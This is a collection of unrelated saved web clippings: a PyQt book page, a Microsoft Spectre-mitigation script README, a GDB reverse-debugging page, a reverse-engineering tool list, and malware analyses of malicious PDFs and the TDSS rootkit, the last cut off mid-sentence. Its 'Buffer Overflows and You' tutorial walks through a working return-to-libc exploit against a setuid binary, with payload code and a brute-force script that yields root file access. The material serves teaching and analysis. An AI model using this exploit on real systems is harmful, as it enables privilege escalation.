Part I is designed to quickly teach Python to non-Python programmers so that they can use the rest of the book. This part is also useful to Python programmers because it covers some of the non-GUI Qt classes, and some of the Python techniques that are often used in GUI programming, such as partial function application. Most of the text is in Parts II, III, and IV. The chapters in these parts cover similar ground to my C++/Qt books, but have been written entirely from scratch with different examples and written from a totally PyQt 4 perspective. Also, some topics are included that are not covered by my other books, for example, the rich text engine, and some more advanced model/view programming techniques. The book is based on Python 2.5, Qt 4.2, and PyQt 4.2, with notes regarding earlier and future versions where appropriate. All the examples have been tested on Windows, Mac OS X, and Linux with Python 2.5, Qt 4.2-4.6, and PyQt 4.2-4.6. The Python 2.6 versions of the examples have been tested on Linux with Python 2.6, Qt 4.4-4.6, and PyQt 4.4-4.6. Python learners might find Sandbox useful. It is a PyQt application for experimenting with Python and for editing Python code. It develops many of the ideas explored in the book, drawing particularly on chapters 5, 6, 8, 9, and 13. Another useful tool for any GUI programmer is Alt\_Key. This program \(available in both PyQt and C++/Qt\), can be used to automatically generate keyboard accelerators. For more information on the tools the book teaches see the Python website, the Qt Software website\(makers of Qt\), and the Riverbank website \(makers of PyQt 4\). And for those interested in scientific and engineering programming the Python\(x,y\) Python distribution should be of interest.  | <img src='img/Temp2_6745.png' alt='PyQt book cover' />Reviews & Unsolicited Reader Comments
  * Review by Tony Cappellini—Rating: 9/10
  * Review on TechBookReport—Verdict: Highly Recommended
  * Review by "Kib" \(in French\)

  * _"First of all congratulations on the excellent book\! Its been a fantastic learning experience and I'm having a great time with the material you present."_
  * _"In contrast to many \(most\) IT-books I read, this book is a real pleasure to read."_
  * _"It's been a very long time since I enjoyed reading a technical book this much... a brillant job for one of the most underestimated technologies available today."_
  * _"Your book 'Rapid GUI Programming with Python and Qt' is outstanding\! I'm really enjoying it and PyQt is a pleasure to work with."_
  * _"I am enjoying reading it and I am developing code at the same time."_
  * _"The book is wonderful... PyQt's model seems to be a good fit for my brain so far. Thank you for writing the book\!"_
  * _"I think that you managed to clearly get to the essence of Python in very few words."_
  * _"I decided not to rush and not to skip \`what I already knew' and I am learning some quite interesting things even from the initial chapters."_
  * _"It's a very nice and comprehensive book..."_
  * _"I recommend this book to anyone that wants to learn PyQt, it is an excellent book..."_

  
Although the examples work fine with both Python 2.5 and Python 2.6, I've
created Python 2.6–specific versions that use a different import style from
that used in the book and that take some advantage of Python 2.6's Python
3–like features. The code is available in two formats, pyqtbook26.tar.gz
\(721K suitable for any platform\), and pyqtbook26.zip \(926K Windows line
endings\) \[updated 2009-12-03\]. Mac users please note that PyQt does not
seem to be buildable with Python 2.6 on Mac OS X, at least not for me and for
some readers in the summer of 2009, so Mac users are recommended to use Python
2.5, or maybe try Python 3\! Versions of the examples for Python 3/PyQt 4.5.1
are also available in the usual two formats, pyqtbook3.tar.gz \(719K suitable
for any platform\), andpyqtbook3.zip \(920K Windows line endings\) \[updated
2009-12-03\]. Note that these examples are straight conversions of the book's
original examples and don't take any specific advantage of Python 3 or PyQt
4.5 features. **About PyQt's APIs** —From PyQt4.6, PyQt has  _two_ APIs,
API\#1 \(the original\), and API\#2 \(new\). API\#2 is more Pythonic and
eliminates QString and QVariant, and is a bit nicer to use. API\#1 remains
best for those using PyQt to prototype C++/Qt applications. API\#1 is the
default for PyQt4._x_ with Python 2._x_ , and for PyQt4.0-4.5 with Python
3._x_ , and is the API used by PySide. API\#2 is the default for PyQt4.6+ with
Python 3._x_. The book, and all its examples use API\#1, so they don't work
with PyQt4.6+ with Python 3._x_ —but they  _do_ work with PyQt4._x_ with
Python 2._x_ , and for PyQt4.0-4.5 with Python 3._x_. Although I personally
prefer API\#2, I am not planning to port the examples to use it, since it
would make the examples so far out of sync with the book as to be confusing.  
Like all my books and most of my other writings, this book was written using
The Lout Typesetting System.

# Microsoft/SpeculationControl

**Created:**| _9/23/2018 8:54:26 AM_  
---|---  
**Updated:**| _9/23/2018 8:54:26 AM_  
**Author:**| _wishi_  
**Tags:**| _windows Memory side-channel_  
  

  

# Overview

SpeculationControl is a PowerShell script that summarizes the state of
configurable Windows mitigations for various speculative execution side
channel vulnerabilities, such as CVE-2017-5715 \(Spectre variant 2\) and
CVE-2017-5754 \(Meltdown\).

For an explanation on how to interpret the output of this tool, please see
Understanding Get-SpeculationControlSettings PowerShell script output.

# Usage

The released version of this script is maintained through the
SpeculationControl module on PowerShell Gallery. A standlone version can also
be obtained through Technet ScriptCenter.

To install the released version via PowerShell Gallery:

[code]

    PS C:\> Install-Module -Name SpeculationControl
    
[/code]

To query the state of configurable mitigations:

[code]

    PS> # Save the current execution policy so it can be reset
    PS> $SaveExecutionPolicy = Get-ExecutionPolicy
    PS> Set-ExecutionPolicy RemoteSigned -Scope Currentuser
    PS> Import-Module SpeculationControl
    PS> Get-SpeculationControlSettings
    PS> # Reset the execution policy to the original state
    PS> Set-ExecutionPolicy $SaveExecutionPolicy -Scope Currentuser
    
[/code]

The following provides an example usage and output for this tool.

[code]

    PS C:\> Import-Module SpeculationControl
    PS C:\> Get-SpeculationControlSettings
    For more information about the output below, please refer to https://support.microsoft.com/en-in/help/4074629
    
    Speculation control settings for CVE-2017-5715 [branch target injection]
    
    Hardware support for branch target injection mitigation is present: True
    Windows OS support for branch target injection mitigation is present: True
    Windows OS support for branch target injection mitigation is enabled: True
    
    Speculation control settings for CVE-2017-5754 [rogue data cache load]
    
    Hardware requires kernel VA shadowing: True
    Windows OS support for kernel VA shadow is present: True
    Windows OS support for kernel VA shadow is enabled: True
    Windows OS support for PCID performance optimization is enabled: True [not required for security]
    
    Speculation control settings for CVE-2018-3639 [speculative store bypass]
    
    Hardware is vulnerable to speculative store bypass: True
    Hardware support for speculative store bypass disable is present: False
    Windows OS support for speculative store bypass disable is present: True
    Windows OS support for speculative store bypass disable is enabled system-wide: False
    
    Speculation control settings for CVE-2018-3620 [L1 terminal fault]
    
    Hardware is vulnerable to L1 terminal fault: True
    Windows OS support for L1 terminal fault mitigation is present: True
    Windows OS support for L1 terminal fault mitigation is enabled: True
    
    
    BTIHardwarePresent                  : True
    BTIWindowsSupportPresent            : True
    BTIWindowsSupportEnabled            : True
    BTIDisabledBySystemPolicy           : False
    BTIDisabledByNoHardwareSupport      : False
    KVAShadowRequired                   : True
    KVAShadowWindowsSupportPresent      : True
    KVAShadowWindowsSupportEnabled      : True
    KVAShadowPcidEnabled                : True
    SSBDWindowsSupportPresent           : True
    SSBDHardwareVulnerable              : True
    SSBDHardwarePresent                 : False
    SSBDWindowsSupportEnabledSystemWide : False
    L1TFHardwareVulnerable              : True
    L1TFWindowsSupportPresent           : True
    L1TFWindowsSupportEnabled           : True
    L1TFInvalidPteBit                   : 45
    L1DFlushSupported                   : False
    
[/code]

# Contributing

This project welcomes contributions and suggestions. Most contributions
require you to agree to a Contributor License Agreement \(CLA\) declaring that
you have the right to, and actually do, grant us the rights to use your
contribution. For details, visit https://cla.microsoft.com.

When you submit a pull request, a CLA-bot will automatically determine whether
you need to provide a CLA and decorate the PR appropriately \(e.g., label,
comment\). Simply follow the instructions provided by the bot. You will only
need to do this once across all repos using our CLA.

This project has adopted the Microsoft Open Source Code of Conduct. For more
information see the Code of Conduct FAQ or contact opencode@microsoft.com with
any additional questions or comments.

  

# Buffer Overflows and You

**Created:**| _1/31/2012 7:23:11 PM_  
---|---  
**Updated:**| _1/31/2012 7:23:23 PM_  
**Author:**| __  
**Tags:**| _Tutorials return-oriented x64_  
  

## return-to-libc attack

Things have hopefully been enlightening up to this point, although probably a
bit disappointing after reading the defenses section. That said, none of the
protections listed are perfect. In this section we will look at the scenario
in which the stack has been marked non-executable \(and the heap, and anywhere
else considered unusual\).

ASLR does need to be turned off, however, so be sure to execute the following
as root, if you haven't already:

[code]

    echo 0 > /proc/sys/kernel/randomize_va_space
    
[/code]

We start with a small cop-out. As was revealed in an earlier section, x86\_64
Linux systems use registers to pass many if not all of their arguments. It is
considerably more difficult \(though still not impossible\) to get values into
registers than it is onto the stack, as one might guess. So for this section
we're going to deal with programs compiled for a 32-bit environment. When
running on this architecture, Linux uses the stack to pass parameters instead
of registers. We can still use our 64-bit machine \(it is backwards
compatible, after all\), we'll just need to use the "-m32" compiler flag.

## The program

To start with, let's assume we have the following vulnerable program, and that
it runs setuid root. It also has stack execution disabled. You can get the
program here. It simply counts the occurrences of a specified character in a
file.

[code]

    [root@localhost tmp]# gcc -m32 -fno-stack-protector -o count count.c
    [root@localhost tmp]# chmod 4755 count
    
[/code]

So as an unprivileged user, we can run the program and it works fine \(but
remember, the program itself is running as root\)...

[code]

    $ /tmp/count ./count.c a
    ./count.c contains 18 occurrences of a
    $ dd if=/dev/urandom of=bigfile bs=1 count=2048
    2048+0 records in
    2048+0 records out
    2048 bytes (2.0 kB) copied, 0.0238982 s, 85.7 kB/s
    $ /tmp/count ./bigfile a
    Segmentation fault
    $
    
[/code]

So if you look at the source you can see once again there is a mistake leaving
the program vulnerable to an overflow attack. The buffer is 512 bytes, while
the fread\(\) call is willing to read up to 1024 bytes.

## The payload

Okay then, let's start with our chmod\(\) code from the last attack.

[code]

    #include <sys/stat.h>
    
    int main() {
      chmod("/bin/nano", 04755);
    }
    
[/code]

If we compile this and disassemble main, we end up with this...

[code]

    $ gcc -m32 -o mychmod mychmod.c
    $ gdb mychmod
    GNU gdb (GDB) Fedora (7.0.1-44.fc12)
    Reading symbols from /home/turkstra/mychmod...(no debugging symbols found)...done.
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x080483c4 <main+0>:    push   %ebp
    0x080483c5 <main+1>:    mov    %esp,%ebp
    0x080483c7 <main+3>:    and    $0xfffffff0,%esp
    0x080483ca <main+6>:    sub    $0x10,%esp
    0x080483cd <main+9>:    movl   $0x9c9,0x4(%esp)
    0x080483d5 <main+17>:   movl   $0x80484b4,(%esp)
    0x080483dc <main+24>:   call   0x80482f4 <chmod@plt>
    0x080483e1 <main+29>:   leave
    0x080483e2 <main+30>:   ret
    End of assembler dump.
    (gdb) break main
    Breakpoint 1 at 0x80483c7
    (gdb) run
    Starting program /home/turkstra/mychmod
    Breakpoint 1, 0x080483c7 in main ()
    (gdb) print chmod
    $1 = {<text variable, no debug info>} 0x6f37f0 <chmod>
    
[/code]

This should look familiar, and relatively straightforward. We can see the
arguments for chmod being pushed in reverse order onto the stack, followed by
a call to chmod. Actually, since we didn't use -static, the call is indirect.
It goes through a jump table, which allows the shared library to be loaded
anywhere in memory without having to recompile the main program. The loader
simply sets up the correct values in the jump table on startup. We can find
the location of the real chmod by printing the symbol after the program has
started. It ends up being 0x6f37f0.

Our payload seems simple this time - we just need the two arguments, the file
mode and the address of the string "/bin/nano", followed by the address of the
function to call \(chmod\). Except this time we cannot use our little trick of
pushing "/bin/nano" onto the stack \(we can't execute any instructions of our
own\).

Well, one way to get around this particularly if the program is being run
locally is to place the string into an environment variable. Suppose we have
this simple program:

[code]

    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char *argv[], char *envp[]) {
      int i = 0;
    
      while (envp[i]) {
        if (strcmp(envp[i], "BAH=/bin/nano") == 0)
          printf("Found BAH=\"/bin/nano\" at %p\n", envp[i]);
        i++;
      }
    
      return 0;
    }
    
[/code]

We can then set an environment variable containing "/bin/nano" and run it...

[code]

    $ export BAH="/bin/nano"
    $ gcc -m32 -o findnano findnano.c
    $ ./findnano
    Found BAH="/bin/nano" at 0xffffdf12
    
[/code]

And it should roughly be at that location for every program that runs. Roughly
because depending on the environment variables \(which include the name of the
binary and its path\) it may shift around a few bytes. Cool. Well, now we have
everything we need. We just need to develop a file that delivers our payload.
Take a look at gen.c. The parts of interest are below...

[code]

      /* Garbage to fill the buffer */
      memset(buf, 0x61, 512);
    
      /* Local vars */
      memset(buf+512, 0x01, 28);
    
      /* Return address */
      addr = (long) buf + 512 + 28;
      *((long *)addr) = 0x6f37f0;
    
      /* Args */
      addr = (long) buf + 512 + 28 + 8;
      *((long *)addr) = 0xffffdf10 + atoi(argv[2]);
      addr = (long) addr + 4;
      *((long *)addr) = 0x9c9;
    
[/code]

You can see that we set the return address to be the starting address of
chmod, and then proceed to place the arguments onto the stack. But how did we
find those offsets? Easy, if we open count in gdb and disassemble main, we can
see in the prelude...

[code]

    0x08048484 <main+0>:    push   %ebp
    0x08048485 <main+1>:    mov    %esp,%ebp
    0x08048487 <main+3>:    and    $0xfffffff0,%esp
    0x0804848a <main+6>:    sub    $0x220,%esp
    
[/code]

The "sub $0x220,%esp" allocates space for our local variables. 0x220 in
decimal is 544. The somewhat complicated catch here is that the "and
$0xfffffff0,%esp" instruction above is masking off the lower 16 bits of ESP
\(corresponding to 8 bytes\) to save the return address and base pointer. So,
we actually want our return address to be at an offset of 540. Recall when the
function returns, ESP will be restored to its original value, so the arguments
to chmod must be located 548 bytes above the buffer.

If you didn't know any of this, you could still figure it out. It would just
take some experimenting to discover the proper values. A helpful way to see
what is going on is to recompile count.c and include the stack walking
function from earlier. Using that you can play around until the stack looks
correct, and then go from there.

## The exploit

As was mentioned earlier, the "/bin/nano" string will shift around depending
on the environment variables. That's why our program above allows us to
specify an offset to add to its address. At this point it is probably
worthwhile to make sure that what we have works. We can use strace to run the
count program \(it will run unprivileged\) and see if we at least end up
invoking chmod...

[code]

    $ gcc -o gen gen.c
    $ ./gen bah 0  # Generate the payload
    $ strace ./count bah a
    [...]
    write(1, "Found 16843009 occurrences of \1\n", 32Found 16843009 occurrences of ?) = 32
    chmod("QTLIB=/usr/lib64/qt-3.3/lib", 04711) = -1 ENOENT (No such file or directory)
    --- SIGSEGV (Segmentation fault) @ 0 (0) ---
    +++ killed by SIGSEGV +++
    Segmentation fault
    $
    
[/code]

Excellent. It invoked chmod. The first argument is obviously wrong, but this
is where the guesswork comes in. We can write a script that will generate
payloads with various addresses and run them against the vulnerable program...

[code]

    #! /bin/bash
    
    for I in {0..60}; do
      ./gen bah ${I}
      ./count bah a
      ls -l /bin/nano | grep rws > /dev/null
      if [[ $? == 0 ]]; then
        echo "offset was ${I}"
        break;
      fi
    done
    
[/code]

This will try up to 60 different addresses for "/bin/nano"

[code]

    $ ls -l /bin/nano
    -rwxr-xr-x. 1 root root 177328 2009-11-18 12:54 /bin/nano
    $ ./runit
    Found 16843009 occurrences of $ ls -l /bin/nano
    
    ./runit: line 3: 16775 Segmentation fault      ./count bah a
    [...]
    Found 16843009 occurrences of $ ls -l /bin/nano
    
    ./runit: line 3: 16896 Segmentation fault      ./count bah a
    offset was 41
    $ ls -l /bin/nano
    -rws--x--x. 1 root root 177328 2009-11-18 12:54 /bin/nano
    
[/code]

And as you can see, 60 is more than enough. Once again we are now able to
write to /etc/shadow using nano. Mission accomplished.

# GDB and Reverse Debugging

**Created:**| _8/26/2012 8:31:20 PM_  
---|---  
**Updated:**| _8/26/2012 8:31:20 PM_  
**Author:**| __  
**Tags:**| _Debugging arm_  
  

# GDB: The GNU Project Debugger

\[bugs\] \[committee\] \[contributing\] \[current cvs\] \[documentation\]
\[download\] \[home\] \[irc\] \[links\] \[mailing lists\] \[news\]
\[schedule\] \[song\] \[wiki\]

## GDB and Reverse Debugging

### Overview

GDB version 7.0 \(due September 2009\) will be the first public release of gdb
to support reverse debugging \(the ability to make the program being debugged
step and continue in reverse\). See the wiki page here.

Presently, only certain target debugging environments will support reverse
debugging. Those targets currently include:

  * Native i386-linux \('target record'\)
  * Native amd64-linux \('target record'\)
  * Several remote targets, including: 
    * moxie-elf simulator
    * Simics
    * VMware Workstation 7.0
    * the SID simulator \(xstormy16 architecture\)
    * chronicle-gdbserver using valgrind
    * UndoDB

All of those targets, plus any additional ones in the future, will support a
common user interface for reverse debugging in gdb, including the new
commands:

  * **reverse-continue** \('rc'\) -- Continue program being debugged but run it in reverse
  * **reverse-finish** \-- Execute backward until just before the selected stack frame is called
  * **reverse-next** \('rn'\) -- Step program backward, proceeding through subroutine calls.
  * **reverse-nexti** \('rni'\) -- Step backward one instruction, but proceed through called subroutines.
  * **reverse-step** \('rs'\) -- Step program backward until it reaches the beginning of a previous source line
  * **reverse-stepi** \-- Step backward exactly one instruction
  * **set exec-direction \(forward/reverse\)** \-- Set direction of execution.  
  
All subsequent execution commands \(continue, step, until etc.\) will run the
program being debugged in the selected direction.

Breakpoints and watchpoints will work in reverse -- allowing you for instance
to proceed directly to the previous point at which a variable was modified.

### Still to do

Now that the core GDB contains support for reverse debugging, it should be
possible to add revese execution support to existing GNU simulators such as
the ones built into GDB, as well as non-GNU targets such as valgrind, SID, and
qemu.

For greater performance and fidelity in userspace and/or kernel reverse
debugging, some work on GNU/Linux as well as other open source kernels might
be done.

The built-in GDB target 'Process Record / Replay' currently only supports
native reverse debugging on three platforms \(i386-linux, amd64-linux, and
moxie-elf\). Volunteers are needed to extend this functionality to other
GNU/Linux platforms, and even to other operating systems.

The FSF and GDB maintainers are eagerly seeking new volunteers and
contributions in this area. If anyone reading this is interested in
contributing to this leading edge area of research and development, we would
welcome your help\!

### Acknowledgements

  * Tomas Holmberg contributed MI support for reverse debugging in Eclipse
  * Oza Pawandeep contributed floating point reverse support for i386
  * Anthony Green contributed a process record port for moxie-elf
  * Hui Zhu contributed a process record port for amd64-linux
  * Hui Zhu contributed the process record framework, along with the original port for i386-linux
  * Dave Brolley contributed a reversible SID simulator for xstormy16  
  
\(Note that sid is not a GNU project, but it is licensed under the GPL.\)

  * Michael Snyder contributed the core gdb framework for reverse debugging
  * All of the gdb maintainers are to be thanked for invaluable discussion, suggestions, and code review.

# Malicious PDFs find a novel way of running JavaScript | Naked Security
**Created:**| _11/12/2010 4:59:54 PM_  
---|---  
**Updated:**| _11/12/2010 5:00:13 PM_  
**Author:**| __  
**Tags:**| _attacks Exploit Malware-analysis JavaScript_  
  

# Malicious PDFs find a novel way of running JavaScript

<img src='img/Temp2_5086.gif' alt='Facebook logo' />Over 30,000 people are
part of the Sophos community on Facebook. Why not join us on Facebook to find
out about the latest internet and Facebook security threats. X

<img src='img/Temp2_5084.gif' alt='Twitter logo' />Hi fellow Twitter user\!
Follow our team of security experts on Twitter for the latest news about
internet security threats. X

<img src='img/Temp2_5085.gif' alt='YouTube logo' />Don't forget you can
subscribe to the SophosLabs YouTube channel to find all our latest videos. X

<img src='img/Temp2_5089.gif' alt='RSS logo' />Hi there\! If you're new here,
you might want to subscribe to the RSS feed for updates. X

by Paul Baccas on November 12, 2010 | 404581 Commenthttp%3A%2F%2Fnakedsecurity.sophos.com%2F2010%2F11%2F12%2Fmalicious-pdfs-running-javascript%2FMalicious+PDFs+find+a+novel+way+of+running+JavaScript2010-11-12+11%3A34%3A21Paul+Baccashttp%3A%2F%2Fnakedsecurity.sophos.com%2F%3Fp%3D40458
Filed Under: Malware, SophosLabs

<img src='img/Temp2_5082.gif' alt='Acrobat PDF' />  
Earlier this year I gave a talk at the Virus Bulletin conference in Vancouver
about malicious PDFs.

As a consequence of that paper, I received a number of enquiries from other
researchers working in this field of computer security. One of the more
fruitful contacts was Marco Cova of the Wepawet project.

This week, in-between other work, I have been analysing a feed of PDFs I have
received from Wepawet.

One particular sample I analysed had a very small piece of JavaScript code
that I hadn't seen before:

> `app.setTimeOut(this.info.XXXX,1)`
<img src='img/Temp2_5087.gif' alt='JavaScript code inside sample' />

where XXXX is a randomly cased string. I immediately wrote a quick detection
for this construct in other PDFs. While I was waiting for the results to come
back I delved further into the sample.

> `SHA1 => 003f00b6eeba697b00b332791337d78c3767980b`  
>  `Size => 7601`  
>  `obj => 8`  
>  `xref => 1`  
>  `trailer => 1`  
>  `xref_good => 1`  
>  `endstream => 2`  
>  `stream => 2`  
>  `JS => 1`  
>  `FlateDecode => 1`  
>  `Page => 5`  
>  `endobj => 8`  
>  `startxref => 1`  
>  `JavaScript => 2`
Diving into the file and looking for the string referenced by the _this.info_
:

<img src='img/Temp2_5090.gif' alt='Inside the file' />

We can see another occurrence of _app.setTimeOut_ and enough of the rest to
suggest that other _this.info_ parts of the PDF are being referenced. After
the this you can make out the beginnings of a _.replace_ construct and an _"
eval"_. If you were to decode this then you see reference to two other
_this.info_ streams "iuGj" and "FJHKJ". The replace is actually:

> `.replace(/[AB-Z)/g, "%")  
> `
Running the following command over the file:

> `grep -a /iuGj 003f00b6eeba697b00b332791337d78c3767980b | sed -e "s/[AB-Z]/%/g" | ../bin/showhex.pl  
> `
where showhex.pl is a simple script that transforms %hh encoded characters to
their binary, gives the following:

<img src='img/Temp2_5083.gif' alt='Result' />

Within the decoded iuGj stream we can see:

  * 0x0c0c0c0c - A common NOP in heapspray code.
  * app.viewerVersion - determining which version of Reader
  * util.printf - CVE-2008-2992
  * Collab.collectEmailInfo - CVE-2007-5659
  * Collab.getIcon - CVE-2009-0927

So this script will run slightly different code depending on which version of
Reader is being used and will try different vulnerabilities. The payload code,
below, attempts to download other malware.

<img src='img/Temp2_5088.gif' alt='Payload code' />

  * wininet.dll - MS API that enables applications to access standard Internet protocols, such as FTP and HTTP
  * http://....php?id-10 - A malicious site

Unfortunately, when I try to visit the sites referenced by by the "FJHKJ" I
get nothing. The good thing is that over the ~20 sites I investigated
yesterday the Google SafeBrowsing API blocked 90%. These URLs are also blocked
via Sophos's Live Protection.

Sophos detects the malicious PDFs as Troj/PDFJs-NE.

# Reverse engineer’s toolkit « Nynaeve

**Created:**| _1/1/2010 9:59:56 PM_  
---|---  
**Updated:**| _1/1/2010 10:00:06 PM_  
**Author:**| __  
**Tags:**| _bookmark windbg_  
  

## Reverse engineer’s toolkit

If you’re planning on reverse engineering something \(or debugging unfaimilar
code\), then it’s important to have the right tools for the job. This is a
short list of some of the various tools that I find useful for this line of
work \(some are free, others are not; they are good tools, though, so I would
encourage you to support the authors\); if I am going to be doing extensive
reversing \(or debugging\) work on a system, I’ll typically install most \(or
all\) of these tools:

  * WinDbg \(Debugging Tools for Windows\); the  _de-facto_ debugger for Windows NT-based systems \(and it’s freely available\). Although there are other good debuggers out there \(such as OllyDbg\), it’s hard to beat the fact that Microsoft develops the debugger, and the designers have a great deal of information about and experience with the internals of the operating system. WinDbg comes with a plethora of plugin modules \(extensions\) that automate and improve many common tasks, and it has a well-documented and powerful interface to allow third parties \(such as yourself\) to program new extension modules for customized tasks. Additionally, WinDbg supports a \(relatively crude, but effective nevertheless\) scripting language. WinDbg can be used on 32-bit and 64-bit \(IA64 and x64\) targets in both user mode and kernel mode, and is the only supported facilities for debugging problems at customer sites or debugging certain specialized scenarios \(like certain infrastructure processes, or fullscreen processes\). The Debugging Tools for Windows distribution also includes ntsd, cdb, and kd, which are different \(command-line\) front-ends to the same debugger engine used by WinDbg. It also includes various other useful utilities, such as Logger \(an API call spy program\).
  * IDA Pro, or the Interactive Disassembler. IDA is the most full-featured disassembler \(by a  _huge_ margin\) out there that I know of, and it supports a wide variety of target architectures and operating systems to boot \(although its support for x86 is probably the most full-featured of all the target architectures that you can use it on\). IDA automates many of the aspects of disassembly and reverse engineering that have historically been tedious and error-prone, such as stack variable tracking. The full version of IDA is relatively pricey \(on the order of $500..$900 or so, depending on whether you need x64 support\), but if you’re serious about reverse engineering, it’s a good investment. For the casual reverse engineer, DataRescue has released a previous version, IDA 4.30, for free. If you are just working with x86 or simply want to get your feet wet with reversing, the free version is a good place to start. Although tools like WinDbg include a built-in disassembler, IDA’s advanced code analysis and interactive aspects \(such as allowing the user to describe and annotate types, names, and variables in a structured fashion\) make it far superior for non-trivial reverse engineering projects.
  * HIEW \(Hacker’s vIEW\) is a powerful \(console-based\) hex editor / disassembler / assembler for 16-bit, 32-bit, and 64-bit \(x64\) targets. It understands the various Windows image formats, but it can also be used on raw binary files as well. In addition to serving all of your hex editor needs, HIEW is just the perfect tool to use when you need to make quick on-disk patches to executables \(and the integrated disassembler and assembler makes creating and applying such patches on-the-fly a walk in the park compared to traditional hex editors, which wourld require you to manually build the opcodes yourself, a pain for non-trivial patches\). HIEW includes some additional power-features as well, such as a way to create and run simple programs to decrypt sections in a file \(very useful if you’re working on something that is self-decrypting, and you know how to decrypt it but don’t have a program to do so already\). It also includes a fairly simple plugin extension interface to allow custom actions to be integrated with the HIEW user interface. HIEW isn’t free, although it is fairly reasonably priced \(and there is a \(limited\) demo that you can play around with\).
  * The Windows Vista SDK is an essential tool for many reverse engineering tasks. It includes extensive documentation \(as well as headers\) for all public Win32 APIs, and it also includes several useful utilities as well \(such as link.exe /dump, otherwise known as dumpbin.exe, which can be used to quickly extract various bits of information from a binary \(like a list of imports\) without having to load it up into a full-featured disassembler tool\). The Vista SDK also includes OleView, which can be useful for inspecting a third-party COM library, as it has integrated support for turning a type library into MSIL \(which can be trivially converted to a C header as needed\).
  * Process Monitor, from SysInternals, is a great utility for quickly inspecting what file and registry operations a program is making. Depending on what you are trying to figure out when analyzing a program, simply looking at its file and registry activity can often save you hours of wading through disassembly or working with a debugger. Process Monitor allows you to perform \(potentially filtered\) in-depth logging of low-level file and registry activity, including operations that fail and the data returned by successful operations in some circumstances. Process Monitor is freely available from Microsoft’s website.
  * Process Explorer, formerly known as HandleEx, is another freely available tool from SysInternals. It allows quick and easy searching of open handles and loaded modules within a process, which is handy for initial information gathering \(such as finding which process uses a DLL that you might be interested in\). The ability to quickly check active processes for a DLL is also quite handy if you are trying to track down where a shared DLL \(like a Windows hook DLL\) is getting loaded in as a precursor to in-depth analysis.
  * SDbgExt is a WinDbg extension that I’ve developed \(shameless plug\). It provides a number of features that are useful for analyzing unfamiliar targets, such as the ability to import map files and create symbolic names out of them \(particularly useful in conjunction with IDA’s export map file feature, if you want to synchronize your process between IDA and WinDbg\), support for identifying writable function pointers within a process address space, and support for locating and displaying x64 exception/unwind handlers. SDbgExt presently only supports the 32-bit version of WinDbg. It is freely available \(see the link above\), and requires that WinDbg and the VC2005 CRT be installed.

There are other useful utilities out there \(this is hardly an all-inclusive
list\), but these are the ones that I use the most often in a wide variety of
situations.

# 看雪软件安全论坛 - www.pediy.com

**Created:**| _5/16/2011 3:43:05 PM_  
---|---  
**Updated:**| _5/16/2011 3:43:05 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
<img src='img/14285_logo.gif' alt='看雪软件安全论坛' />  
---

# Dissecting the Autostart Technique of TDSS | Malware Blog | Trend Micro
**Created:**| _1/1/2011 10:51:21 AM_  
---|---  
**Updated:**| _1/1/2011 10:51:57 AM_  
**Author:**| __  
**Tags:**| _bookmark automation Malware-analysis_  
  

  
|  Dissecting the Autostart Technique of TDSS 2:38 am \(UTC-7\) | by Ding Plazo \(Threats Analyst\)  
---|---  
The TDSS family of malware remains a significant threat for users today,
largely due to its powerful stealth capabilities that hide its main components
from security applications. This can be seen in the large number of detections
that we see regularly, as can be seen in the following chart:

<img src='img/Temp2_2316.jpg' alt='Click for larger view' />

We’ve even seen TDSS variants that use high-profile vulnerabilities to spread.
Samples of a new TDSS variant,WORM\_TDSS.TX, use the infamous LNK
vulnerability \(first brought to public attention by Stuxnet\) to propagate.
\(The shortcut file is detected as EXPL\_CPLNK.SMA.\)

There are two techniques that TDSS uses for its autostart routines:

  * Randomly choosing a system driver file \(normally seen in  _%Windows%\System32\Drivers_\), modify its resource section, and use this to directly read hard disk sectors, and assemble its DLL file for its main malware behavior.
  * Modifying the  _Master Boot Record_ \(MBR\) and use this to directly read hard disk sectors, and assemble its DLL file for its main malware behavior.
  * The second technique was already discussed in the blog post Mebroot Variants Behaves Like TDSS. In this post, I will only concentrate on the first technique and will not discuss the installation process of the malware.
The patched and compromised file is detected as BKDR\_TIDSERV.DZ. TDSS targets
_BootExecute_ applications that are started by the  _Session Manager_
\(smss.exe\) before invoking the initial command \(_Winlogon_ in Windows XP\)
and before various subsystems were started. User-mode applications are not yet
running at this point. Because they run so early, there is significant
restriction on  _BootExecute_ applications: they must be native applications.

In this context, “native” means that only the Windows NT Native API, resident
in  _ntdll.dll_ , is available. At this stage, the  _Win32_ subsystem,
composed of the kernel-mode  _win32k.sys_ component and the user-mode
client/server runtime  _CSRSS_ have not yet been started by  _SMSS_. Not even
the  _Kernel32_ library is usable by  _BootExecute_ applications. This can be
seen in the screenshot below:

<img src='img/Temp2_2317.jpg' alt='Click for larger view' />

These applications are used for special tasks that must be performed before
everything else has started on the system, yet remain in the domain of user
mode.

After the  _Session Manager_ loads this compromised driver, it will execute
the driver’s entry point. This is set by the malware to point to the
overwritten code of the resource section. During this time the system is still
booting up. The following chart shows where TDSS interferes in the system’s
startup procedures:

<img src='img/Temp2_2315.jpg' />

The malware code set its buffer by calling  _nt\!ExAllocatePool_ , then
copying its malware code to the allocated buffer. It then executes the
driver’s original entry point before calling the API
_nt\!IoRegisterPlugPlayNotification_ which will execute a callback routine,
which is set to the allocated buffer that contains the malware’s code.

Here’s some of the code that the TDSS used to perform the above routine:

> `.rsrc:FC5470B0 lea ecx, [ebx+364h]  
>  .rsrc:FC5470B6 push ecx  
>  .rsrc:FC5470B7 push ebx  
>  .rsrc:FC5470B8 sub ebx, 8122F44Bh  
>  .rsrc:FC5470BE add ebx, eax  
>  .rsrc:FC5470C0 add ebx, edi  
>  .rsrc:FC5470C2 push ebx  
>  .rsrc:FC5470C3 push [ebp+arg_0]  
>  .rsrc:FC5470C6 lea eax, [ebp+var_20]  
>  .rsrc:FC5470C9 push eax  
>  .rsrc:FC5470CA push 1  
>  .rsrc:FC5470CC push 2  
>  .rsrc:FC5470CE push 48399F96h  
>  .rsrc:FC5470D3 push [ebp+var_4]  
>  .rsrc:FC5470D6 call get_api  
>  .rsrc:FC5470DB call eax ; {nt!IoRegisterPlugPlayNotification (8057f628)}  
>  .rsrc:FC5470DB ; this will execute the callback routine, which is the  
>  .rsrc:FC5470DB ; malware codes copied on allocated memory.  
>  .rsrc:FC5470DB ;  
>  .rsrc:FC5470DB ; this malware's callback routine was computed in ebx.`
The callback routine reads more malware code directly from the hard disk,
decrypts them and then execute the read data. TDSS ensures that it read the
